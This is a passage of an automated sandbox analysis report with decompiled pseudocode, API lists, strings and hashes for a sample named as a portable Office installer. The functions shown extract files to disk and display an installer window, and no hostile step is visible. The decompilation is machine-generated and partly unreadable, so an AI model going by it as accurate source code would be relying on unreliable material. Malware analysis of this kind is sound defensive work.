										_t19 = _t211 + 0x78; // 0x78
										 *((intOrPtr*)(_t211 + 0x10)) = _t183;
										_t21 = _t211 + 0x28; // 0x28
										_t183 = _t21;
										_t137 = E000C66B0(_t211, _t21, _t19, 0, 0);
										_t153 = _a4;
										_t215 = _t215 - 0x10 + 0x1c;
										asm("sbb eax, eax");
										_t139 =  ~_t137 + 1;
										__eflags = _t139;
										 *(_t211 + 0x18) = _t139;
									}
								}
							}
							_t132 =  *_t191;
							__eflags =  *((intOrPtr*)(_t132 + 0x10)) - _t153;
						} while ( *((intOrPtr*)(_t132 + 0x10)) < _t153);
					}
					E000C7270(_t191, _t183, _t153,  &_v852);
					__eflags = _v588 & 0x00000010;
					_t85 =  *_t145;
					if((_v588 & 0x00000010) == 0) {
						_t201 = _t145;
						_v856 = _t145;
						_t155 = _t145;
						__eflags = _t85;
						if(_t85 != 0) {
							do {
								__eflags = _t85 - 0x2f;
								if(_t85 == 0x2f) {
									L22:
									_t34 = _t155 + 1; // 0xc29ea
									_t201 = _t34;
								} else {
									__eflags = _t85 - 0x5c;
									if(_t85 == 0x5c) {
										goto L22;
									}
								}
								_t35 = _t155 + 1; // 0xf1b24
								_t85 =  *_t35;
								_t155 =  &(_t155->Internal);
								__eflags = _t85;
							} while (_t85 != 0);
							_v856 = _t201;
						}
						E000CD14B( &_v276, 0x104, _t145);
						_t216 = _t215 + 0xc;
						__eflags = _t201 - _t145;
						if(_t201 != _t145) {
							_t89 = _t201 - _t145;
							__eflags = _t89 - 0x104;
							if(__eflags >= 0) {
								E000CD453();
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t213);
								_push(0xffffffff);
								_push(E000E37EB);
								_push( *[fs:0x0]);
								_push(_t201);
								_push(_t191);
								_t92 =  *0xef6ac; // 0xcff43140
								_push(_t92 ^ _t216);
								 *[fs:0x0] =  &_v892;
								_t192 = _t155;
								_push(0x244);
								_t202 = E000CCE6F(_t145, _t155, __eflags);
								__eflags = _t202;
								if(_t202 == 0) {
									_t202 = 0;
									__eflags = 0;
								} else {
									 *_t202 = 0;
									 *(_t202 + 4) = 0xffffffff;
									 *(_t202 + 0x134) = 0xffffffff;
									 *(_t202 + 0x138) = 0;
									 *(_t202 + 0x13c) = 0;
								}
								_t156 = _t202;
								_v12 = 0xffffffff;
								_t96 = E000C71C0(_t202, _t192); // executed
								 *0xf1b24 = _t96;
								__eflags = _t96;
								if(__eflags == 0) {
									_push(8);
									_t97 = E000CCE6F(_t145, _t192, __eflags);
									 *_t97 = 1;
									 *(_t97 + 4) = _t202;
									 *[fs:0x0] = _v20;
									return _t97;
								} else {
									__eflags = _t202;
									if(_t202 != 0) {
										E000C7E80(_t202, _t156);
									}
									__eflags = 0;
									 *[fs:0x0] = _v20;
									return 0;
								}
							} else {
								 *((char*)(_t213 + _t89 - 0x110)) = 0;
								_t100 = _v276;
								__eflags = _t100 - 0x2f;
								if(_t100 == 0x2f) {
									L33:
									wsprintfA( &_v540, "%s%s",  &_v276, _t201);
									_t221 = _t216 + 0x10;
									_t162 = 0;
									__eflags = 0;
								} else {
									__eflags = _t100 - 0x5c;
									if(_t100 == 0x5c) {
										goto L33;
									} else {
										__eflags = _t100;
										if(_t100 == 0) {
											goto L32;
										} else {
											__eflags = _v275 - 0x3a;
											if(_v275 == 0x3a) {
												goto L33;
											} else {
												goto L32;
											}
										}
									}
								}
								goto L34;
							}
						} else {
							_v276 = 0;
							L32:
							_t208 =  &(_t191[0x50]);
							wsprintfA( &_v540, "%s%s%s", _t208,  &_v276, _v856);
							_t221 = _t216 + 0x14;
							_t162 = _t208;
							L34:
							E000C7980(_t145, _t162,  &_v276); // executed
							_t106 = CreateFileA( &_v540, 0x40000000, 0, 0, 2, _v588, 0); // executed
							_t146 = _t106;
							__eflags = _t146 - 0xffffffff;
							if(_t146 != 0xffffffff) {
								E000C6D50( *_t191, _t191[0x4e]); // executed
								__eflags = _t191[0x4f];
								if(__eflags == 0) {
									_push(0x4000);
									_t120 = E000CCE6F(_t146, _t191, __eflags);
									_t221 = _t221 + 4;
									_t191[0x4f] = _t120;
								}
								_v856 = 0;
								while(1) {
									_t186 = _t191[0x4f];
									_t109 = E000C6ED0( *_t191, _t191[0x4f], 0x4000,  &_v857); // executed
									_t205 = _t109;
									_t221 = _t221 + 8;
									__eflags = _t205 - 0xffffff96;
									if(_t205 == 0xffffff96) {
										break;
									}
									__eflags = _t205;
									if(__eflags < 0) {
										L45:
										_v856 = 0x5000000;
									} else {
										if(__eflags <= 0) {
											L43:
											__eflags = _v857;
											if(_v857 != 0) {
												SetFileTime(_t146,  &_v576,  &_v584,  &_v568); // executed
											} else {
												__eflags = _t205;
												if(_t205 != 0) {
													continue;
												} else {
													goto L45;
												}
											}
										} else {
											_t119 = WriteFile(_t146, _t191[0x4f], _t205,  &_v544, 0); // executed
											__eflags = _t119;
											if(_t119 == 0) {
												_v856 = 0x400;
											} else {
												goto L43;
											}
										}
									}
									L49:
									CloseHandle(_t146);
									E000C7140( *_t191, _t186);
									_pop(_t195);
									_pop(_t206);
									__eflags = _v8 ^ _t213;
									_pop(_t147);
									return E000CC7C7(_t147, _v8 ^ _t213, _t186, _t195, _t206);
									goto L59;
								}
								_v856 = 0x1000;
								goto L49;
							} else {
								_pop(_t196);
								_pop(_t207);
								_pop(_t148);
								__eflags = _v8 ^ _t213;
								return E000CC7C7(_t148, _v8 ^ _t213,  &_v276, _t196, _t207);
							}
						}
					} else {
						__eflags = _t85 - 0x2f;
						if(_t85 == 0x2f) {
							L18:
							E000C7980(_t145, 0, _t145);
							_pop(_t197);
							_pop(_t209);
							_pop(_t149);
							__eflags = _v8 ^ _t213;
							return E000CC7C7(_t149, _v8 ^ _t213, _t145, _t197, _t209);
						} else {
							__eflags = _t85 - 0x5c;
							if(_t85 == 0x5c) {
								goto L18;
							} else {
								__eflags = _t85;
								if(_t85 == 0) {
									L17:
									E000C7980(_t145,  &(_t191[0x50]), _t145);
									_pop(_t198);
									_pop(_t210);
									_pop(_t150);
									__eflags = _v8 ^ _t213;
									return E000CC7C7(_t150, _v8 ^ _t213, _t145, _t198, _t210);
								} else {
									__eflags = _t145->Internal - 0x3a;
									if(_t145->Internal == 0x3a) {
										goto L18;
									} else {
										goto L17;
									}
								}
							}
						}
					}
				} else {
					_pop(_t199);
					_pop(_t212);
					_pop(_t151);
					return E000CC7C7(_t151, _v8 ^ _t213, _t183, _t199, _t212);
				}
				L59:
			}

0x000c7a80
0x000c7a89
0x000c7a90
0x000c7a93
0x000c7a94
0x000c7a99
0x000c7a9f
0x000c7aa3
0x000c7aa3
0x000c7aa8
0x000c7aaa
0x000c7aad
0x000c7ab7
0x000c7ad1
0x000c7ad4
0x000c7ad8
0x000c7add
0x000c7add
0x000c7ae0
0x000c7ae2
0x000c7ae5
0x000c7ae7
0x000c7ae7
0x000c7ae9
0x000c7aeb
0x000c7aed
0x000c7af1
0x000c7af6
0x000c7af7
0x000c7afa
0x000c7b0d
0x000c7b12
0x000c7b15
0x000c7b1b
0x000c7b1b
0x000c7b20
0x000c7b25
0x000c7b28
0x000c7b2d
0x000c7b2f
0x000c7b2f
0x000c7b30
0x000c7b30
0x000c7afa
0x000c7af1
0x000c7b33
0x000c7b35
0x000c7b35
0x000c7ae7
0x000c7b44
0x000c7b49
0x000c7b50
0x000c7b52
0x000c7ba6
0x000c7ba8
0x000c7bae
0x000c7bb0
0x000c7bb2
0x000c7bb4
0x000c7bb4
0x000c7bb6
0x000c7bbc
0x000c7bbc
0x000c7bbc
0x000c7bb8
0x000c7bb8
0x000c7bba
0x00000000
0x00000000
0x000c7bba
0x000c7bbf
0x000c7bbf
0x000c7bc2
0x000c7bc3
0x000c7bc3
0x000c7bc7
0x000c7bc7
0x000c7bda
0x000c7bdf
0x000c7be2
0x000c7be4
0x000c7bf1
0x000c7bf3
0x000c7bf8
0x000c7da8
0x000c7dad
0x000c7dae
0x000c7daf
0x000c7db0
0x000c7db3
0x000c7db5
0x000c7dc0
0x000c7dc4
0x000c7dc5
0x000c7dc6
0x000c7dcd
0x000c7dd1
0x000c7dd7
0x000c7dd9
0x000c7de6
0x000c7de8
0x000c7dea
0x000c7e19
0x000c7e19
0x000c7dec
0x000c7dec
0x000c7df2
0x000c7df9
0x000c7e03
0x000c7e0d
0x000c7e0d
0x000c7e1e
0x000c7e21
0x000c7e28
0x000c7e2d
0x000c7e32
0x000c7e34
0x000c7e55
0x000c7e57
0x000c7e5f
0x000c7e65
0x000c7e6b
0x000c7e78
0x000c7e36
0x000c7e36
0x000c7e38
0x000c7e3d
0x000c7e3d
0x000c7e42
0x000c7e47
0x000c7e54
0x000c7e54
0x000c7bfe
0x000c7bfe
0x000c7c06
0x000c7c0c
0x000c7c0e
0x000c7c4e
0x000c7c62
0x000c7c68
0x000c7c6b
0x000c7c6b
0x000c7c10
0x000c7c10
0x000c7c12
0x00000000
0x000c7c14
0x000c7c14
0x000c7c16
0x00000000
0x000c7c18
0x000c7c18
0x000c7c1f
0x00000000
0x00000000
0x00000000
0x00000000
0x000c7c1f
0x000c7c16
0x000c7c12
0x00000000
0x000c7c0e
0x000c7be6
0x000c7be6
0x000c7c21
0x000c7c2e
0x000c7c41
0x000c7c47
0x000c7c4a
0x000c7c6d
0x000c7c73
0x000c7c92
0x000c7c98
0x000c7c9a
0x000c7c9d
0x000c7cbf
0x000c7cc4
0x000c7ccb
0x000c7ccd
0x000c7cd2
0x000c7cd7
0x000c7cda
0x000c7cda
0x000c7ce0
0x000c7cf0
0x000c7cf0
0x000c7d04
0x000c7d09
0x000c7d0b
0x000c7d0e
0x000c7d11
0x00000000
0x00000000
0x000c7d13
0x000c7d15
0x000c7d41
0x000c7d41
0x000c7d17
0x000c7d17
0x000c7d34
0x000c7d34
0x000c7d3b
0x000c7d6f
0x000c7d3d
0x000c7d3d
0x000c7d3f
0x00000000
0x00000000
0x00000000
0x00000000
0x000c7d3f
0x000c7d19
0x000c7d2a
0x000c7d30
0x000c7d32
0x000c7d4d
0x00000000
0x00000000
0x00000000
0x000c7d32
0x000c7d17
0x000c7d81
0x000c7d82
0x000c7d8a
0x000c7d98
0x000c7d99
0x000c7d9a
0x000c7d9c
0x000c7da5
0x00000000
0x000c7da5
0x000c7d77
0x00000000
0x000c7c9f
0x000c7ca4
0x000c7ca5
0x000c7ca6
0x000c7caa
0x000c7cb4
0x000c7cb4
0x000c7c9d
0x000c7b54
0x000c7b54
0x000c7b56
0x000c7b88
0x000c7b8c
0x000c7b93
0x000c7b94
0x000c7b95
0x000c7b99
0x000c7ba3
0x000c7b58
0x000c7b58
0x000c7b5a
0x00000000
0x000c7b5c
0x000c7b5c
0x000c7b5e
0x000c7b66
0x000c7b6e
0x000c7b75
0x000c7b76
0x000c7b77
0x000c7b7b
0x000c7b85
0x000c7b60
0x000c7b60
0x000c7b64
0x00000000
0x00000000
0x00000000
0x00000000
0x000c7b64
0x000c7b5e
0x000c7b5a
0x000c7b56
0x000c7ab9
0x000c7abe
0x000c7abf
0x000c7ac0
0x000c7ace
0x000c7ace
0x00000000

Strings

%s%s%s, xrefs: 000C7C3B
:, xrefs: 000C7C18
%s%s, xrefs: 000C7C5C

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: AttributesCreateDirectoryFile$_memmove
String ID: %s%s$%s%s%s$:
API String ID: 2273448321-3034790606
Opcode ID: 945a7fd1abd63770c39e41b21d310cec85e1689d5164704bc02c3a0faf28113d
Instruction ID: 638c70a0c18601e09c231b8f51ac61f8b4cef21e866ce88cf7b88c1f403bd647
Opcode Fuzzy Hash: 945a7fd1abd63770c39e41b21d310cec85e1689d5164704bc02c3a0faf28113d
Instruction Fuzzy Hash: 6891C231A042189BDB24DF24CC85FEEB7A4AF44314F1406ADE94E97292CB306E85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 000C1500, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E000C1500(struct HINSTANCE__* __ecx, int __edx) {
				int _v8;
				int _t4;
				int _t5;
				struct HWND__* _t12;
				int _t17;
				int _t21;
				struct HINSTANCE__* _t23;
				struct HWND__* _t28;

				_t21 = __edx;
				_push(__ecx);
				_t23 = __ecx;
				_v8 = __edx;
				 *0xf1abc = __ecx; // executed
				_t4 = GetSystemMetrics(0); // executed
				_t17 = _t4;
				_t5 = GetSystemMetrics(1);
				asm("cdq");
				_t2 = _t17 - 0xe2; // -226
				asm("cdq");
				_t12 = CreateWindowExA(0, "INSTALLER", "Installer", 0x80000000, _t2 - _t21 >> 1, _t5 + 0xffffff88 - _t21 >> 1, 0xe2, 0x78, 0, 0, _t23, 0); // executed
				_t28 = _t12;
				if(_t28 != 0) {
					ShowWindow(_t28, _v8); // executed
					UpdateWindow(_t28); // executed
					return 1;
				} else {
					return _t12;
				}
			}

0x000c1500
0x000c1503
0x000c150d
0x000c1511
0x000c1514
0x000c151a
0x000c151e
0x000c1520
0x000c152c
0x000c1539
0x000c153f
0x000c1556
0x000c155c
0x000c1560
0x000c156d
0x000c1574
0x000c1585
0x000c1562
0x000c1568
0x000c1568

APIs

KiUserCallbackDispatcher.NTDLL ref: 000C151A
GetSystemMetrics.USER32 ref: 000C1520
CreateWindowExA.USER32 ref: 000C1556
ShowWindow.USER32(00000000,?,?,000C13F3,?,00000000), ref: 000C156D
KiUserCallbackDispatcher.NTDLL(00000000), ref: 000C1574

Strings

Installer, xrefs: 000C154A
INSTALLER, xrefs: 000C154F

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: CallbackDispatcherUserWindow$CreateMetricsShowSystem
String ID: INSTALLER$Installer
API String ID: 2363862556-3595843951
Opcode ID: a25a611c496af19eff6d7e189d3a6799b3b1800ce6c6a27929e18d009c728794
Instruction ID: ef7e5001a32d8dbab7eb41a5524d14074532e8df89ef99c852d1e7d126537595
Opcode Fuzzy Hash: a25a611c496af19eff6d7e189d3a6799b3b1800ce6c6a27929e18d009c728794
Instruction Fuzzy Hash: 8001F773B80614B7E7104759AC8AFEABA9CD785B22F044396FB04EA2C0D7A66C008690

Uniqueness

Uniqueness Score: -1.00%

Function 000C1470, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 36
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E000C1470(struct HINSTANCE__* __ecx) {
				signed int _v8;
				struct _WNDCLASSEXA _v56;
				signed int _t17;
				struct HICON__* _t19;
				struct HICON__* _t21;
				void* _t25;
				void* _t29;
				void* _t30;
				void* _t31;
				signed int _t32;

				_t17 =  *0xef6ac; // 0xcff43140
				_v8 = _t17 ^ _t32;
				_v56.cbSize = 0x30;
				_v56.style = 3;
				_v56.lpfnWndProc = E000C1590;
				_v56.cbClsExtra = 0;
				_v56.cbWndExtra = 0;
				_v56.hInstance = __ecx;
				_t19 = LoadIconA(__ecx, 0x6b); // executed
				_v56.hIcon = _t19;
				_v56.hCursor = LoadCursorA(0, 0x7f00);
				_v56.hbrBackground = 0x11;
				_v56.lpszMenuName = 0x6d;
				_v56.lpszClassName = 0xf1ac0;
				_t21 = LoadIconA(_v56.hInstance, 0x6c); // executed
				_v56.hIconSm = _t21;
				RegisterClassExA( &_v56);
				return E000CC7C7(_t25, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x000c1476
0x000c147d
0x000c1483
0x000c148a
0x000c1491
0x000c1498
0x000c149f
0x000c14a6
0x000c14a9
0x000c14b6
0x000c14c4
0x000c14c7
0x000c14ce
0x000c14d5
0x000c14dc
0x000c14e2
0x000c14e9
0x000c14fc

APIs

LoadIconA.USER32(?,0000006B), ref: 000C14A9
LoadCursorA.USER32 ref: 000C14B9
LoadIconA.USER32(?,0000006C), ref: 000C14DC
RegisterClassExA.USER32(00000030), ref: 000C14E9

Strings

0, xrefs: 000C1483
m, xrefs: 000C14CE
INSTALLER, xrefs: 000C14D5

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Load$Icon$ClassCursorRegister
String ID: 0$INSTALLER$m
API String ID: 4202395251-2718135516
Opcode ID: 3f13b80741314af0fb079a9db6d974fe46431fd6b6e723ee1cff935521d02634
Instruction ID: 836f8b796e034dd8df5007b2ac056a4c5ea12c3a6a3df1e9c512583c125914ea
Opcode Fuzzy Hash: 3f13b80741314af0fb079a9db6d974fe46431fd6b6e723ee1cff935521d02634
Instruction Fuzzy Hash: 9A0104B0D0124CEFEF00DFE0D959BEEBBB4EB08705F104559E901BA281DBBA46548F94

Uniqueness

Uniqueness Score: -1.00%

Function 000CAA50, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 315
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E000CAA50(intOrPtr __ecx, signed int _a4, intOrPtr _a8) {
				signed int _v0;
				signed int* _v8;
				char _v16;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char _v48;
				char _v49;
				char _v56;
				char _v60;
				signed int* _v64;
				intOrPtr _v68;
				signed int* _v72;
				char _v76;
				char _v77;
				intOrPtr _v84;
				signed int** _v88;
				signed int* _v92;
				signed int _v100;
				signed int* _v108;
				signed int* _v112;
				signed int _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t122;
				signed int _t124;
				signed int _t134;
				signed int _t137;
				signed int* _t138;
				signed int* _t139;
				signed int _t142;
				intOrPtr _t145;
				signed int _t146;
				signed int _t148;
				signed int _t163;
				signed int** _t165;
				char _t166;
				void* _t186;
				void* _t187;
				signed int _t188;
				signed int _t189;
				void* _t190;
				signed int _t192;
				signed int _t194;
				void* _t200;
				signed int _t205;
				intOrPtr _t210;
				intOrPtr _t211;
				signed int* _t217;
				intOrPtr* _t219;
				intOrPtr _t221;
				void* _t222;
				void* _t223;
				void* _t224;
				signed int _t227;
				void* _t229;
				signed int** _t230;
				void* _t231;
				signed int _t236;
				signed int _t239;
				signed int _t241;
				signed int _t243;

				_push(0xffffffff);
				_push(E000E3C68);
				_push( *[fs:0x0]);
				_t241 = (_t239 & 0xfffffff8) - 0x38;
				_t122 =  *0xef6ac; // 0xcff43140
				_v24 = _t122 ^ _t241;
				_push(_t186);
				_push(_t227);
				_t124 =  *0xef6ac; // 0xcff43140
				_push(_t124 ^ _t241);
				 *[fs:0x0] =  &_v16;
				_t221 = __ecx;
				_v68 = __ecx;
				_t127 =  *(__ecx + 0x1c);
				_t194 =  *( *(__ecx + 0x1c));
				if(_t194 == 0) {
					L3:
					__eflags =  *(_t221 + 0x50);
					if( *(_t221 + 0x50) != 0) {
						_t218 =  *(_t221 + 0xc);
						__eflags =  *_t218 - _t221 + 0x44;
						if( *_t218 == _t221 + 0x44) {
							 *_t218 =  *(_t221 + 0x38);
							 *((intOrPtr*)( *((intOrPtr*)(_t221 + 0x1c)))) =  *((intOrPtr*)(_t221 + 0x3c));
							_t194 = 0;
							__eflags = 0;
							 *((intOrPtr*)( *((intOrPtr*)(_t221 + 0x2c)))) = 0;
						}
						__eflags =  *(_t221 + 0x40);
						if(__eflags != 0) {
							_v28 = 0xf;
							_v32 = 0;
							_v48 = 0;
							_v8 = 0;
							_push( *(_t221 + 0x50));
							_t218 = E000CD773(_t186, _t221, _t227, __eflags);
							_t241 = _t241 + 4;
							_v64 = _t218;
							__eflags = _t218 - 0xffffffff;
							if(_t218 == 0xffffffff) {
								L29:
								__eflags = _t227 | 0xffffffff;
								goto L30;
							} else {
								while(1) {
									_t188 = _v32;
									_t200 = (_t194 | 0xffffffff) - _t188;
									__eflags = _t200 - 1;
									if(__eflags <= 0) {
										break;
									}
									_t227 = _t188 + 1;
									__eflags = _t227 - 0xfffffffe;
									if(__eflags > 0) {
										break;
									} else {
										_t210 = _v28;
										__eflags = _t210 - _t227;
										if(_t210 >= _t227) {
											__eflags = _t227;
											if(_t227 != 0) {
												goto L16;
											} else {
												__eflags = _t210 - 0x10;
												_t172 =  >=  ? _v48 :  &_v48;
												_v32 = _t227;
												 *( >=  ? _v48 :  &_v48) = 0;
												goto L17;
											}
											goto L54;
										} else {
											E000C34D0( &_v48, _t218, _t227, _t188);
											_t211 = _v36;
											_t192 = _v40;
											_t218 = _v72;
											__eflags = _t227;
											if(_t227 != 0) {
												L16:
												__eflags = _t210 - 0x10;
												_t154 =  >=  ? _v48 :  &_v48;
												 *(( >=  ? _v48 :  &_v48) + _t188) = _t218;
												__eflags = _v28 - 0x10;
												_t156 =  >=  ? _v48 :  &_v48;
												_v32 = _t227;
												 *((char*)(( >=  ? _v48 :  &_v48) + _t227)) = 0;
												L17:
												_t192 = _v32;
												_t211 = _v28;
											}
										}
										__eflags = _t211 - 0x10;
										_t194 =  *(_v68 + 0x40);
										_t218 =  *_t194;
										_t226 =  >=  ? _v48 :  &_v48;
										_t221 = _v68;
										_t227 =  >=  ? _v48 :  &_v48;
										_t163 = ( *_t194)[6](_t221 + 0x48, _t227, ( >=  ? _v48 :  &_v48) + _t192,  &_v60,  &_v49,  &_v48,  &_v56);
										__eflags = _t163;
										if(_t163 < 0) {
											goto L29;
										} else {
											__eflags = _t163 - 1;
											if(_t163 <= 1) {
												__eflags = _v84 -  &_v77;
												_t165 = _v88;
												if(_v84 !=  &_v77) {
													__eflags = _v56 - 0x10;
													_t234 =  >=  ? _v76 :  &_v76;
													_t235 = ( >=  ? _v76 :  &_v76) - _t165;
													_t236 = ( >=  ? _v76 :  &_v76) - _t165 + _v60;
													__eflags = _t236;
													if(__eflags > 0) {
														while(1) {
															_t166 =  *((char*)(_t236 + _t165 - 1));
															_push( *(_t221 + 0x50));
															_t236 = _t236 - 1;
															_push(_t166);
															E000CDA4D(_t192, _t221, _t236, __eflags);
															_t241 = _t241 + 8;
															__eflags = _t236;
															if(__eflags <= 0) {
																goto L23;
															}
															_t165 = _v88;
														}
													}
													goto L23;
												} else {
													__eflags = _v56 - 0x10;
													_t214 =  >=  ? _v76 :  &_v76;
													_t168 = _t165 - ( >=  ? _v76 :  &_v76);
													__eflags = _t165 - ( >=  ? _v76 :  &_v76);
													_t194 =  &_v76;
													E000C3370(_t194, 0, _t165 - ( >=  ? _v76 :  &_v76));
													goto L28;
												}
											} else {
												__eflags = _t163 - 3;
												if(_t163 != 3) {
													goto L29;
												} else {
													__eflags = _v60 - 1;
													if(__eflags < 0) {
														L28:
														_push( *(_t221 + 0x50));
														_t218 = E000CD773(_t192, _t221, _t227, __eflags);
														_t241 = _t241 + 4;
														_v92 = _t218;
														__eflags = _t218 - 0xffffffff;
														if(_t218 != 0xffffffff) {
															continue;
														} else {
															goto L29;
														}
													} else {
														__eflags = _v56 - 0x10;
														_t175 =  >=  ? _v76 :  &_v76;
														E000CD6F4( &_v77, 1,  >=  ? _v76 :  &_v76, 1);
														_t241 = _t241 + 0x10;
														L23:
														L30:
														__eflags = _v28 - 0x10;
														if(_v28 >= 0x10) {
															L000CC7D6(_v48);
															_t241 = _t241 + 4;
														}
														goto L33;
													}
												}
											}
										}
									}
									goto L54;
								}
								_push("string too long");
								E000CBF3E(__eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_t243 = (_t241 & 0xfffffff8) - 0x14;
								_t134 =  *0xef6ac; // 0xcff43140
								_v100 = _t134 ^ _t243;
								_push(_t188);
								_push(_t227);
								_t230 = _v88;
								_push(_t221);
								_t223 = _t200;
								__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x1c)))) - _t223 + 0x44;
								if( *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x1c)))) != _t223 + 0x44) {
									L42:
									_t137 = _a4;
									_t189 = _v0;
								} else {
									__eflags = _a8 - 1;
									if(_a8 != 1) {
										goto L42;
									} else {
										__eflags =  *(_t223 + 0x40);
										if( *(_t223 + 0x40) != 0) {
											goto L42;
										} else {
											_t137 = _a4;
											_t189 = _v0 + 0xffffffff;
											asm("adc eax, 0xffffffff");
										}
									}
								}
								__eflags =  *(_t223 + 0x50);
								_v116 = _t137;
								if( *(_t223 + 0x50) == 0) {
									L52:
									_t138 =  *0xe50e8; // 0xffffffff
									 *_t230 = _t138;
									_t139 =  *0xe50ec; // 0xffffffff
									_t230[1] = _t139;
									_t230[2] = 0;
									_t230[3] = 0;
									_t230[4] = 0;
								} else {
									_t142 = E000CB4C0(_t223, _t218);
									__eflags = _t142;
									if(_t142 == 0) {
										goto L52;
									} else {
										_t205 = _v116;
										__eflags = _t189 | _t205;
										_t145 = _a8;
										if(__eflags != 0) {
											L47:
											_push(_t145);
											_push(_t205);
											_push(_t189);
											_push( *(_t223 + 0x50));
											_t146 = E000CDE04(_t189, _t218, _t223, _t230, __eflags); // executed
											_t243 = _t243 + 0x10;
											__eflags = _t146;
											if(_t146 != 0) {
												goto L52;
											} else {
												goto L48;
											}
										} else {
											__eflags = _t145 - 1;
											if(__eflags == 0) {
												L48:
												_t148 = E000CDF37(_t189, _t218, _t223,  *(_t223 + 0x50),  &_v112); // executed
												_t243 = _t243 + 8;
												__eflags = _t148;
												if(_t148 != 0) {
													goto L52;
												} else {
													_t219 =  *((intOrPtr*)(_t223 + 0xc));
													__eflags =  *_t219 - _t223 + 0x44;
													if( *_t219 == _t223 + 0x44) {
														 *_t219 =  *((intOrPtr*)(_t223 + 0x38));
														 *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x1c)))) =  *((intOrPtr*)(_t223 + 0x3c));
														__eflags = 0;
														 *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x2c)))) = 0;
													}
													_t218 =  *(_t223 + 0x48);
													_t230[2] = _v112;
													 *_t230 = 0;
													_t230[1] = 0;
													_t230[3] = _v108;
													_t230[4] =  *(_t223 + 0x48);
												}
											} else {
												goto L47;
											}
										}
									}
								}
								_pop(_t224);
								_pop(_t231);
								_pop(_t190);
								__eflags = _v100 ^ _t243;
								return E000CC7C7(_t190, _v100 ^ _t243, _t218, _t224, _t231);
							}
						} else {
							_push( *(_t221 + 0x50));
							_t127 = E000CD773(_t186, _t221, _t227, __eflags); // executed
							_t241 = _t241 + 4;
							__eflags = _t127 - 0xffffffff;
							if(_t127 == 0xffffffff) {
								goto L4;
							} else {
							}
							goto L33;
						}
					} else {
						L4:
						goto L33;
					}
				} else {
					_t218 =  *(__ecx + 0x2c);
					_t227 =  *_t218;
					_t127 = _t227 + _t194;
					if(_t194 >= _t227 + _t194) {
						goto L3;
					} else {
						 *_t218 = _t227 - 1;
						_t217 =  *(__ecx + 0x1c);
						_t218 =  *_t217;
						 *_t217 =  *_t217 + 1;
						L33:
						 *[fs:0x0] = _v16;
						_pop(_t222);
						_pop(_t229);
						_pop(_t187);
						return E000CC7C7(_t187, _v24 ^ _t241, _t218, _t222, _t229);
					}
				}
				L54:
			}

0x000caa56
0x000caa58
0x000caa63
0x000caa64
0x000caa67
0x000caa6e
0x000caa72
0x000caa73
0x000caa75
0x000caa7c
0x000caa81
0x000caa87
0x000caa89
0x000caa8d
0x000caa90
0x000caa94
0x000caab9
0x000caab9
0x000caabd
0x000caac7
0x000caacd
0x000caacf
0x000caad7
0x000caadc
0x000caae1
0x000caae1
0x000caae3
0x000caae3
0x000caae5
0x000caae9
0x000cab03
0x000cab0b
0x000cab13
0x000cab18
0x000cab20
0x000cab28
0x000cab2a
0x000cab2d
0x000cab31
0x000cab34
0x000cac9c
0x000cac9c
0x00000000
0x000cab40
0x000cab40
0x000cab40
0x000cab47
0x000cab49
0x000cab4c
0x00000000
0x00000000
0x000cab52
0x000cab55
0x000cab58
0x00000000
0x000cab5e
0x000cab5e
0x000cab62
0x000cab64
0x000cac38
0x000cac3a
0x00000000
0x000cac40
0x000cac44
0x000cac47
0x000cac4c
0x000cac50
0x00000000
0x000cac50
0x00000000
0x000cab6a
0x000cab70
0x000cab75
0x000cab79
0x000cab7d
0x000cab81
0x000cab83
0x000cab85
0x000cab85
0x000cab8c
0x000cab91
0x000cab94
0x000cab9d
0x000caba2
0x000caba6
0x000cabaa
0x000cabaa
0x000cabae
0x000cabae
0x000cab83
0x000cabbc
0x000cabc7
0x000cabcb
0x000cabd1
